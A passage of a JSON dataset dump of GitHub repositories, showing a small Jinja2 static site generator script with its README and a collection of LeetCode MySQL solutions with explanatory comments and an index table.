}\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2984094,"cells":{"repo_name":{"kind":"string","value":"lukaslaobeyer/render"},"repo_url":{"kind":"string","value":"https://github.com/lukaslaobeyer/render"},"snapshot_id":{"kind":"string","value":"97179527463d3b97cff64eb1fd2e9e862baea2dd"},"revision_id":{"kind":"string","value":"f74ba1e34a713df83c391f501baf043816a7625a"},"directory_id":{"kind":"string","value":"0e251cfddb95de6528820f734208ebf24212aab6"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-03-29T00:51:01.226426","string":"2020-03-29T00:51:01.226426"},"revision_date":{"kind":"timestamp","value":"2017-06-17T16:53:46","string":"2017-06-17T16:53:46"},"committer_date":{"kind":"timestamp","value":"2017-06-17T16:53:46","string":"2017-06-17T16:53:46"},"github_id":{"kind":"number","value":94637161,"string":"94,637,161"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6755852699279785,"alphanum_fraction":0.6794871687889099,"avg_line_length":28.409835815429688,"blob_id":"dcaaf6b4302f14d910043f122f67f84007a0e711","content_id":"79542181eddc0bc241864ab57be8647aee482678","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1794,"license_type":"no_license","max_line_length":71,"num_lines":61,"path":"/render.py","repo_name":"lukaslaobeyer/render","src_encoding":"UTF-8","text":"#!/usr/bin/python3\n\nimport os\nimport sys\nimport pathlib\nimport shutil\nfrom jinja2 import Environment, FileSystemLoader, select_autoescape\n\nTEMPLATE_DIRS = ['src/templates']\nTEMPLATE_EXTS = ['html', 'jinja2', 'tmpl']\nSTATIC_DIRS = ['src/static']\nOUTPUT_DIR = 'build'\n\ndef ensure_dir(filename):\n dirname = os.path.dirname(filename)\n # Create subdirectory for file if not exists\n if not os.path.exists(dirname):\n os.makedirs(dirname)\n\n\n# Set up Jinja2 environment\nenv = Environment(\n loader=FileSystemLoader(TEMPLATE_DIRS),\n autoescape=select_autoescape(['html', 'xml'])\n)\n\n# Create output directory\noutput_dir = str(pathlib.Path(OUTPUT_DIR).absolute())\n\nif not os.path.exists(output_dir):\n os.makedirs(output_dir)\n print('writing output to \"{}\"'.format(output_dir))\nelse:\n print('build directory (\"{}\") already exists'.format(output_dir))\n print('please remove this directory and try again')\n sys.exit(-1)\n\n# Copy static files\nprint('copying static files')\nfor static_dir in STATIC_DIRS:\n for filename in pathlib.Path(static_dir).glob('**/*'):\n if filename.is_file():\n stripped = str(filename)[len(static_dir)+1:]\n print(' copying {}...'.format(stripped))\n dest = os.path.join(output_dir, stripped)\n ensure_dir(dest)\n shutil.copy2(str(filename), dest)\n\n# Render all templates\nprint('rendering templates')\ntemplates = env.list_templates(extensions=TEMPLATE_EXTS)\nfor template_name in templates:\n print(' rendering {}...'.format(template_name))\n filename = os.path.join(output_dir, template_name)\n ensure_dir(filename)\n\n # Render template and write to file\n with open(filename, 'w') as f:\n f.write(env.get_template(template_name).render(tree=templates))\n \nprint('done!')\n"},{"alpha_fraction":0.7660199999809265,"alphanum_fraction":0.7713109850883484,"avg_line_length":50.54545593261719,"blob_id":"cb08a7937a6a8ee5561fbb8db1d7f873fb38ba59","content_id":"56686f476dfe117c80dee0f60685fd6365e7248c","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":1701,"license_type":"no_license","max_line_length":399,"num_lines":33,"path":"/README.md","repo_name":"lukaslaobeyer/render","src_encoding":"UTF-8","text":"# The simplest static site generator\n\nLess that 100 lines of Python that will take your [Jinja2](http://jinja.pocoo.org/) templates and build them into a static site.\n\n## Why?\n\nThere already are [lots](https://www.staticgen.com/) of static site generators. However, I found most of them to be overkill for the small sites I need to make from time to time. Also, most of them impose too much structure on your project and require lots of configuration. Some even try to be your website and include lots of fanciness that is simply unnecessary when you are writing a small site.\n\n## How to build your site\n\nThe only structure this script requires your project to have is as following:\n\n * Place `render.py` in your project's root directory\n * Create `src/templates` and `src/static` directories\n * When you run `render.py`, the output will be in `build`\n\n### Templates\n\nJinja2 templates should be placed in `src/templates`. Any `.html`, `.jinja2` or `.tmpl` file in `src/templates` will go through the Jinja2 processor.\n\nProcessed files will be copied into `build`, preserving the structure of your `src/templates` directory.\n\n### Static assets\n\nAnything you don't want to be preprocessed by Jinja2 should go in `src/static`.\n\nThese files will be copied straight into the `build` directory, preserving directory structure.\n\n## Extra features\n\nThis script basically just runs all your templates through Jinja2, it doesn't really do anything special besides that. However, all your templates will be passed a `tree` variable that contains all the names of all the files in your `templates` directory.\n\nThis can be used to dynamically generate indices and read variables from other templates, for example.\n"}],"string":"[\n {\n \"alpha_fraction\": 0.6755852699279785,\n \"alphanum_fraction\": 0.6794871687889099,\n \"avg_line_length\": 28.409835815429688,\n \"blob_id\": \"dcaaf6b4302f14d910043f122f67f84007a0e711\",\n \"content_id\": \"79542181eddc0bc241864ab57be8647aee482678\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1794,\n \"license_type\": \"no_license\",\n \"max_line_length\": 71,\n \"num_lines\": 61,\n \"path\": \"/render.py\",\n \"repo_name\": \"lukaslaobeyer/render\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/python3\\n\\nimport os\\nimport sys\\nimport pathlib\\nimport shutil\\nfrom jinja2 import Environment, FileSystemLoader, select_autoescape\\n\\nTEMPLATE_DIRS = ['src/templates']\\nTEMPLATE_EXTS = ['html', 'jinja2', 'tmpl']\\nSTATIC_DIRS = ['src/static']\\nOUTPUT_DIR = 'build'\\n\\ndef ensure_dir(filename):\\n dirname = os.path.dirname(filename)\\n # Create subdirectory for file if not exists\\n if not os.path.exists(dirname):\\n os.makedirs(dirname)\\n\\n\\n# Set up Jinja2 environment\\nenv = Environment(\\n loader=FileSystemLoader(TEMPLATE_DIRS),\\n autoescape=select_autoescape(['html', 'xml'])\\n)\\n\\n# Create output directory\\noutput_dir = str(pathlib.Path(OUTPUT_DIR).absolute())\\n\\nif not os.path.exists(output_dir):\\n os.makedirs(output_dir)\\n print('writing output to \\\"{}\\\"'.format(output_dir))\\nelse:\\n print('build directory (\\\"{}\\\") already exists'.format(output_dir))\\n print('please remove this directory and try again')\\n sys.exit(-1)\\n\\n# Copy static files\\nprint('copying static files')\\nfor static_dir in STATIC_DIRS:\\n for filename in pathlib.Path(static_dir).glob('**/*'):\\n if filename.is_file():\\n stripped = str(filename)[len(static_dir)+1:]\\n print(' copying {}...'.format(stripped))\\n dest = os.path.join(output_dir, stripped)\\n ensure_dir(dest)\\n shutil.copy2(str(filename), dest)\\n\\n# Render all templates\\nprint('rendering templates')\\ntemplates = env.list_templates(extensions=TEMPLATE_EXTS)\\nfor template_name in templates:\\n print(' rendering {}...'.format(template_name))\\n filename = os.path.join(output_dir, template_name)\\n ensure_dir(filename)\\n\\n # Render template and write to file\\n with open(filename, 'w') as f:\\n f.write(env.get_template(template_name).render(tree=templates))\\n \\nprint('done!')\\n\"\n },\n {\n \"alpha_fraction\": 0.7660199999809265,\n \"alphanum_fraction\": 0.7713109850883484,\n \"avg_line_length\": 50.54545593261719,\n \"blob_id\": \"cb08a7937a6a8ee5561fbb8db1d7f873fb38ba59\",\n \"content_id\": \"56686f476dfe117c80dee0f60685fd6365e7248c\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1701,\n \"license_type\": \"no_license\",\n \"max_line_length\": 399,\n \"num_lines\": 33,\n \"path\": \"/README.md\",\n \"repo_name\": \"lukaslaobeyer/render\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# The simplest static site generator\\n\\nLess that 100 lines of Python that will take your [Jinja2](http://jinja.pocoo.org/) templates and build them into a static site.\\n\\n## Why?\\n\\nThere already are [lots](https://www.staticgen.com/) of static site generators. However, I found most of them to be overkill for the small sites I need to make from time to time. Also, most of them impose too much structure on your project and require lots of configuration. Some even try to be your website and include lots of fanciness that is simply unnecessary when you are writing a small site.\\n\\n## How to build your site\\n\\nThe only structure this script requires your project to have is as following:\\n\\n * Place `render.py` in your project's root directory\\n * Create `src/templates` and `src/static` directories\\n * When you run `render.py`, the output will be in `build`\\n\\n### Templates\\n\\nJinja2 templates should be placed in `src/templates`. Any `.html`, `.jinja2` or `.tmpl` file in `src/templates` will go through the Jinja2 processor.\\n\\nProcessed files will be copied into `build`, preserving the structure of your `src/templates` directory.\\n\\n### Static assets\\n\\nAnything you don't want to be preprocessed by Jinja2 should go in `src/static`.\\n\\nThese files will be copied straight into the `build` directory, preserving directory structure.\\n\\n## Extra features\\n\\nThis script basically just runs all your templates through Jinja2, it doesn't really do anything special besides that. However, all your templates will be passed a `tree` variable that contains all the names of all the files in your `templates` directory.\\n\\nThis can be used to dynamically generate indices and read variables from other templates, for example.\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2984095,"cells":{"repo_name":{"kind":"string","value":"GuilinXie/LeetcodeSQL"},"repo_url":{"kind":"string","value":"https://github.com/GuilinXie/LeetcodeSQL"},"snapshot_id":{"kind":"string","value":"2dde9c9af92051b0ab63325d9c99ec9af4fde85b"},"revision_id":{"kind":"string","value":"8e7347b2b35406ac799b02a9ee53b09ac91eb7d0"},"directory_id":{"kind":"string","value":"599f94f66c7632d71aa631d08e996344afa3a52d"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-12-23T14:50:37.688799","string":"2021-12-23T14:50:37.688799"},"revision_date":{"kind":"timestamp","value":"2021-08-30T18:18:03","string":"2021-08-30T18:18:03"},"committer_date":{"kind":"timestamp","value":"2021-08-30T18:18:03","string":"2021-08-30T18:18:03"},"github_id":{"kind":"number","value":253012461,"string":"253,012,461"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7045044898986816,"alphanum_fraction":0.7297297120094299,"avg_line_length":20.384614944458008,"blob_id":"f2af97b5c601b374cf4cda1d877afa7c37fc27a5","content_id":"d338e3149af29a43da57425ca82c57cbfcb024c0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":555,"license_type":"no_license","max_line_length":51,"num_lines":26,"path":"/SQL/1341_Movie_Rating.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Write your MySQL query statement below\n\nSELECT t1.name AS results\nFROM\n(SELECT u.name AS name, COUNT(m.movie_id) AS cnt\nFROM Movie_Rating m\nJOIN Users u\nON u.user_id = m.user_id\nGROUP BY m.user_id\nORDER BY cnt DESC, u.name\nLIMIT 1) t1\n\nUNION\nSELECT t2.title AS results\nFROM\n(SELECT m.title AS title, AVG(mr.rating) as grade\n FROM Movie_Rating mr\n JOIN Movies m\n ON m.movie_id=mr.movie_id\n WHERE substring(mr.created_at,1,7)=\"2020-02\"\n GROUP BY mr.movie_id\n ORDER BY grade DESC, m.title\n LIMIT 1\n ) t2\n\n#AVG(mr.rating) = SUM(mr.rating) / COUNT(mr.rating)"},{"alpha_fraction":0.70652174949646,"alphanum_fraction":0.7572463750839233,"avg_line_length":33.625,"blob_id":"87444ec5ea5a9ba74be91842f5c7e780df890ab3","content_id":"2b7049a14883ad601247da3ba5bfbd68ef1c2182","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":276,"license_type":"no_license","max_line_length":90,"num_lines":8,"path":"/SQL/1142_User_Activity_for_the_Past_30_Days_2.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Write your MySQL query statement below\n\nSELECT IFNULL(ROUND(SUM(sessions) / COUNT(user_id), 2), 0.00) AS average_sessions_per_user\nFROM\n(SELECT user_id, COUNT(DISTINCT session_id) AS sessions\nFROM Activity\nWHERE DATEDIFF(\"2019-07-27\", activity_date) < 30\nGROUP BY user_id) t"},{"alpha_fraction":0.7559704780578613,"alphanum_fraction":0.7568389177322388,"avg_line_length":42.45283126831055,"blob_id":"7e54d9231a05bb230ef2a3b82d63a78254abc627","content_id":"5e0bf5db7bd54ed43ea02ed43799fbb91968a53f","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2303,"license_type":"no_license","max_line_length":69,"num_lines":53,"path":"/SQL/1179_Reformat_Department_Table.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Write your MySQL query statement below\n\n# How to use pivot table directly in mysql?\n\n# Solution 1 - only beat 5%\n\nSELECT t.id,\nSUM(CASE WHEN month=\"Jan\" THEN revenue ELSE NULL END) AS Jan_Revenue,\nSUM(CASE WHEN month=\"Feb\" THEN revenue ELSE NULL END) AS Feb_Revenue,\nSUM(CASE WHEN month=\"Mar\" THEN revenue ELSE NULL END) AS Mar_Revenue,\nSUM(CASE WHEN month=\"Apr\" THEN revenue ELSE NULL END) AS Apr_Revenue,\nSUM(CASE WHEN month=\"May\" THEN revenue ELSE NULL END) AS May_Revenue,\nSUM(CASE WHEN month=\"Jun\" THEN revenue ELSE NULL END) AS Jun_Revenue,\nSUM(CASE WHEN month=\"Jul\" THEN revenue ELSE NULL END) AS Jul_Revenue,\nSUM(CASE WHEN month=\"Aug\" THEN revenue ELSE NULL END) AS Aug_Revenue,\nSUM(CASE WHEN month=\"Sep\" THEN revenue ELSE NULL END) AS Sep_Revenue,\nSUM(CASE WHEN month=\"Oct\" THEN revenue ELSE NULL END) AS Oct_Revenue,\nSUM(CASE WHEN month=\"Nov\" THEN revenue ELSE NULL END) AS Nov_Revenue,\nSUM(CASE WHEN month=\"Dec\" THEN revenue ELSE NULL END) AS Dec_Revenue\nFROM Department t\nGROUP BY t.id\n\n\n# Solution, similar to the previous one\nSELECT t.id,\nSUM(t.Jan_Revenue) AS Jan_Revenue,\nSUM(t.Feb_Revenue) AS Feb_Revenue,\nSUM(t.Mar_Revenue) AS Mar_Revenue,\nSUM(t.Apr_Revenue) AS Apr_Revenue,\nSUM(t.May_Revenue) AS May_Revenue,\nSUM(t.Jun_Revenue) AS Jun_Revenue,\nSUM(t.Jul_Revenue) AS Jul_Revenue,\nSUM(t.Aug_Revenue) AS Aug_Revenue,\nSUM(t.Sep_Revenue) AS Sep_Revenue,\nSUM(t.Oct_Revenue) AS Oct_Revenue,\nSUM(t.Nov_Revenue) AS Nov_Revenue,\nSUM(t.Dec_Revenue) AS Dec_Revenue\nFROM\n(SELECT id,\nCASE WHEN month=\"Jan\" THEN revenue ELSE NULL END AS Jan_Revenue,\nCASE WHEN month=\"Feb\" THEN revenue ELSE NULL END AS Feb_Revenue,\nCASE WHEN month=\"Mar\" THEN revenue ELSE NULL END AS Mar_Revenue,\nCASE WHEN month=\"Apr\" THEN revenue ELSE NULL END AS Apr_Revenue,\nCASE WHEN month=\"May\" THEN revenue ELSE NULL END AS May_Revenue,\nCASE WHEN month=\"Jun\" THEN revenue ELSE NULL END AS Jun_Revenue,\nCASE WHEN month=\"Jul\" THEN revenue ELSE NULL END AS Jul_Revenue,\nCASE WHEN month=\"Aug\" THEN revenue ELSE NULL END AS Aug_Revenue,\nCASE WHEN month=\"Sep\" THEN revenue ELSE NULL END AS Sep_Revenue,\nCASE WHEN month=\"Oct\" THEN revenue ELSE NULL END AS Oct_Revenue,\nCASE WHEN month=\"Nov\" THEN revenue ELSE NULL END AS Nov_Revenue,\nCASE WHEN month=\"Dec\" THEN revenue ELSE NULL END AS Dec_Revenue\nFROM Department) t\nGROUP BY t.id\n"},{"alpha_fraction":0.49707603454589844,"alphanum_fraction":0.5555555820465088,"avg_line_length":27.5,"blob_id":"aea7340b1ef60773d65ad05cb0212594490ca7db","content_id":"9f44b4e30efe1b1ab6d05249aae632df025241f8","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":171,"license_type":"no_license","max_line_length":46,"num_lines":6,"path":"/SQL/626_Exchange_Seats.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Solution 1 - beat 50%\nSELECT IF(id<(SELECT COUNT(*) FROM seat), \n IF(id%2=0, id-1, id+1), \n IF(id%2=0, id-1, id)) AS id, student\nFROM seat\nORDER BY id\n"},{"alpha_fraction":0.7586206793785095,"alphanum_fraction":0.7758620977401733,"avg_line_length":13.5,"blob_id":"ede1bb739614035bae544cac0359b6b16f158968","content_id":"32f1480fbb24f6c19e668d1c35c2a098d7a18de3","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":58,"license_type":"no_license","max_line_length":17,"num_lines":4,"path":"/SQL/182_Duplicate_Emails.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"SELECT Email\nFROM Person\nGROUP BY Email\nHAVING COUNT(*)>1\n"},{"alpha_fraction":0.47880297899246216,"alphanum_fraction":0.5012468695640564,"avg_line_length":22.58823585510254,"blob_id":"2bb8dbee9a7e02ba527449b1ebe80b8908b92b90","content_id":"d7b30c97cb9103223870cae2dc91fc2bcdb55961","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":401,"license_type":"no_license","max_line_length":47,"num_lines":17,"path":"/SQL/196_Delete_Duplicate_Emails.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Write your MySQL query statement below\n# Solution 1\nDELETE p1\nFROM Person p1, Person p2\nWHERE p1.Email = p2.Email\nAND p1.Id > p2.Id\n\n#Solution 2:\ndelete from Person\nwhere id not in (\n select id \n from\n (select min(id) as Id,Email\n from Person\n group by Email\n order by Id) i\n )\n"},{"alpha_fraction":0.6951871514320374,"alphanum_fraction":0.7326202988624573,"avg_line_length":30.16666603088379,"blob_id":"77d1a09ff3f0ff951e08ec5b2831a02fe9eb22e6","content_id":"eb4b7723b06bcd9fa16e49a4b3480085c6ac0b71","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":374,"license_type":"no_license","max_line_length":63,"num_lines":12,"path":"/SQL/178_Rank_Scores.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Write your MySQL query statement below\n\n# Method 1 - beat 10%, sometimes 70% - DENSE_RANK()\nSELECT Score, DENSE_RANK() OVER (ORDER BY Score DESC) AS \"Rank\"\nFROM Scores\n\n# Method 2 - too complicate to remember....\nSELECT s1.Score, COUNT(s2.Score) AS Rank\nFROM Scores s1, (SELECT DISTINCT Score FROM Scores) s2\nWHERE s1.Score<=s2.Score\nGROUP BY s1.Id\nORDER BY s1.Score DESC\n"},{"alpha_fraction":0.7153094410896301,"alphanum_fraction":0.7381107211112976,"avg_line_length":35.5476188659668,"blob_id":"843c24c558b83629bae5a8b5685a644f8236887a","content_id":"1536614db704400ba1dc4999023c28e9ee261db0","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1535,"license_type":"no_license","max_line_length":179,"num_lines":42,"path":"/SQL/185_Department_Top_Three_Salaries.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Write your MySQL query statement below\n\n# Solution 0 - window function - easier to understand\n# beat 61%\nSELECT t.Department, t.Employee, t.Salary\nFROM \n(SELECT d.Name AS Department, e.Name AS Employee, e.Salary AS Salary, DENSE_RANK() OVER(PARTITION BY e.DepartmentId ORDER BY e.Salary DESC) AS rk\nFROM Employee e\nINNER JOIN Department d # inner join means if the departmentId is not find, then drop this rows, if use LEFT JOIN, then will keep it with DepartmentId and DepartmentName as NULL\nON e.DepartmentId=d.Id) t\nWHERE t.rk <= 3\n\n# Solution 0_1, - window function, - but use inner/left join to reduce one layer\n# beat (22% or) 5%\nSELECT d.Name AS Department, e.Name as Employee, e.Salary as Salary\nFROM (\nSELECT DepartmentId, Name, Salary, DENSE_RANK() OVER(PARTITION BY DepartmentId ORDER BY Salary DESC) AS rk\nFROM Employee) e\n(INNER or) LEFT JOIN Department d\nON e.DepartmentI\n\n\n# Solution 1 - Record my own, beat 98%\nSELECT d.Name AS Department, e1.Name AS Employee, e1.Salary\nFROM Employee e1\nJOIN Department d ON e1.DepartmentId = d.Id\n\nWHERE 3 >= (SELECT COUNT(e2.Salary) FROM\n (SELECT DISTINCT DepartmentId, Salary FROM Employee) e2\n WHERE e1.Salary <= e2.Salary AND e2.DepartmentId = e1.DepartmentId\n )\n\n\n# Solution 2 - from others\nSELECT d.name AS Department, e1.Name AS Employee, e1.Salary\nFROM Employee e1, Department d\nWHERE e1.DepartmentId = d.Id\nAND (SELECT COUNT(DISTINCT e2.Salary)\n FROM Employee e2\n WHERE e2.DepartmentId = e1.DepartmentId\n AND e2.Salary > e1.Salary\n ) < 3\n"},{"alpha_fraction":0.6915000081062317,"alphanum_fraction":0.7179999947547913,"avg_line_length":27.16901397705078,"blob_id":"4d78b4ced4f142a10c6d791e8fc1b79b4c29924a","content_id":"f71410f7f903692b0a90a9d11182eef498805255","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":2000,"license_type":"no_license","max_line_length":158,"num_lines":71,"path":"/SQL/1212_Team_Scores_in_Football_Tournament.py","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"# Write your MySQL query statement below\n\n#Method 0 - beat 20% - IFNULL(SUM(..), 0) - if SUM(..) is NULL, then set it to be 0. (Note: SUM could be in IFNULL function)\nSELECT t.team_id, t.team_name, IFNULL(SUM(s.score), 0) AS num_points\nFROM Teams t\n\nLEFT JOIN\n(SELECT m1.host_team AS team,\n CASE WHEN host_goals>guest_goals THEN 3\n WHEN host_goals=guest_goals THEN 1\n ELSE 0 END AS score\nFROM Matches m1\n\nUNION ALL\n\nSELECT m2.guest_team AS team,\n CASE WHEN guest_goals>host_goals THEN 3\n WHEN guest_goals=host_goals THEN 1\n ELSE 0 END AS score\nFROM Matches m2) s\n\nON t.team_id=s.team\nGROUP BY t.team_id, t.team_name\nORDER BY num_points DESC, t.team_id\n\n\n# Method 1 - Use SUM + CASE WHEN to deal with NULL,\n# ELSE 0 END must be at the end, not ELSE 1 END\nSELECT t1.team_id, t1.team_name, SUM(CASE WHEN t2.my_goal>t2.op_goal THEN 3 WHEN t2.my_goal=t2.op_goal THEN 1 ELSE 0 END) AS num_points\n\nFROM Teams t1\n\nLEFT JOIN\n\n(SELECT host_team as id, host_goals as my_goal, guest_goals as op_goal\nFROM Matches\n\nUNION ALL\n\nSELECT guest_team as id, guest_goals as my_goal, host_goals as op_goal\nFROM Matches) t2\n\nON t1.team_id=t2.id\n\nGROUP BY t1.team_id, t1.team_name\nORDER BY num_points DESC, t1.team_id ASC\n\n\n# Method 2 - IFNULL deal with NULL, SUM should be at the inner level, not in IFULL: (Note: As proved later, SUM can be in inner level of IFNULL, see Method 0)\n# function\n# IFNULL could not use SUM inside directly\nSELECT t.team_id, t.team_name, IFNULL(t.num_points, 0) AS num_points\nFROM\n(SELECT t1.team_id, t1.team_name, SUM(t2.point) AS num_points\n\nFROM Teams t1\n\nLEFT JOIN\n\n((SELECT host_team AS tid, CASE WHEN host_goals>guest_goals THEN 3 WHEN host_goals<guest_goals THEN 0 ELSE 1 END AS point\nFROM Matches)\n\nUNION ALL\n\n(SELECT guest_team AS tid, CASE WHEN host_goals>guest_goals THEN 0 WHEN host_goals<guest_goals THEN 3 ELSE 1 END AS point\nFROM Matches)) t2\nON t2.tid=t1.team_id\n\nGROUP BY t1.team_id, t1.team_name\n) t\nORDER BY num_points DESC, t.team_id ASC\n"},{"alpha_fraction":0.6651326417922974,"alphanum_fraction":0.7026258707046509,"avg_line_length":159.56521606445312,"blob_id":"ee3cd4a0323e9a1d4782783ffa94b9e13bd70417","content_id":"fcf329013a6dbfc717094f4ab380878339403638","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":7388,"license_type":"no_license","max_line_length":359,"num_lines":46,"path":"/README.md","repo_name":"GuilinXie/LeetcodeSQL","src_encoding":"UTF-8","text":"### LeetcodeSQL\n\nAccording to frequency\n\n| ID | Title | Solution | Difficulty | Knowledge |\n| ---- | ------------------------------------------------------------ | ------------------------------------------------------------ | ---------- | ---- |\n| 176 | [Second Highest Salary](https://leetcode.com/problems/second-highest-salary/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/176_Sencond_Highest_Salary.py) | Easy | if not exist, return NULL |\n| 175 | [Combine Two Tables](https://leetcode.com/problems/combine-two-tables/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/175_Combine_Two_Tables.py) | Easy | select sub-table before join |\n| 177 | [Nth Highest Salary](https://leetcode.com/problems/nth-highest-salary/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/177_Nth_Highest_Salary.py) | Medium | CREATE FUNCTION, SET, MAX COUNT , LIMIT N,1 equals to LIMIT 1 OFFSET N |\n| 262 | [Trips and Users](https://leetcode.com/problems/trips-and-users/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/262_Trips_and_Users.py) | Hard | CASE WHEN at inner loop, then SUM GROUP BY, ROUND, new name \"Cancellation Rate\" with a space, t.Request_at BETWEEN '2013-10-01' AND '2013-10-03' includes [2013-10-01, 2013-10-03] |\n| 181 | [Employees Earning More Than Their Managers](https://leetcode.com/problems/employees-earning-more-than-their-managers/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/181_Employees_Earning_More_Than_Their_Managers.py) | Easy | tmp_table is faster than using entire table |\n| 178 | [Rank Scores](https://leetcode.com/problems/rank-scores/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/178_Rank_Scores.py) | Medium | Rank consecutively, what if not consecutively, what if same score rank differently? |\n| 1179 | [Reformat Department Table](https://leetcode.com/problems/reformat-department-table/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1179_Reformat_Department_Table.py) | Easy | CASE WHEN change column to differnt rows , PIVOT how? |\n| 180 | [Consecutive Numbers](https://leetcode.com/problems/consecutive-numbers/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/180_Consecutive_Numbers.py) | Medium | Consecutive implement |\n| 182 | [Duplicate Emails](https://leetcode.com/problems/duplicate-emails/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/182_Duplicate_Emails.py) | Easy | GROUP BY, HAVING COUNT(*)>1 |\n| 1212 | [Team Scores in Football Tournament](https://leetcode.com/problems/team-scores-in-football-tournament/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1212_Team_Scores_in_Football_Tournament.py) | Medium | IFNULL(name, 0), ~~SUM() can not be in IFNULL function~~(IT CAN!), UNION ALL |\n| 185 | [Department Top Three Salaries](https://leetcode.com/problems/department-top-three-salaries/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/185_Department_Top_Three_Salaries.py) | Hard | Top3 for different departments, window function: DENSE_RANK(PARTITION BY * ORDER BY * DESC) AS rk...WHERE rk <= 3 |\n| 184 | [Department Highest Salary](https://leetcode.com/problems/department-highest-salary/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/184_Department_Highest_Salary.py) | Medium | Can use same method as 185, or use (MAX(Salary), DepartmentId) to check the highest |\n| 183 | [Customers Who Never Order](https://leetcode.com/problems/customers-who-never-order/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/183_Customers_Who_Never_Order.py) | Easy | Not use IS NULL, IS NOT NULL in WEHRE clause, which can be slower |\n| 196 | [Delete_Duplicate_Emails](https://leetcode.com/problems/delete-duplicate-emails/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/196_Delete_Duplicate_Emails.py) | Easy | MIN + GROUP BY, DELETE FROM|\n| 197 | [Rising Temperature](https://leetcode.com/problems/rising-temperature/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/197_Rising_Temperature.py) | Easy | TO_DAYS, subdate|\n| 1241 | [Number of Comments per Post](https://leetcode.com/problems/number-of-comments-per-post/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1241_Number_of_Comments_per_Post.py) | Easy | has to use IS NULL, IS NOT NULL in this case, IFNULL(cnt, 0) |\n| 1270 | [All People Report to the Given Manager](https://leetcode.com/problems/all-people-report-to-the-given-manager/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1270_All_People_Report_to_the_Given_Manager.py) | Medium | chain join and join... |\n| 618 | [Students Report By Geography](https://leetcode.com/problems/students-report-by-geography/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/618_Students_Report_By_Geography.py) | Hard | Why need those MAX ?? |\n| 597 | [Friend Requests 1: Overall Acceptance Rate](https://leetcode.com/problems/friend-requests-i-overall-acceptance-rate/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/597_Friend_Requests_1_Overall_Acceptance_Rate.py) | Easy | IFNULL() |\n| 1341 | [Movie Rating](https://leetcode.com/problems/movie-rating/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1341_Movie_Rating.py) | Medium | created_at=\"2020-02-15\" to get Februrary 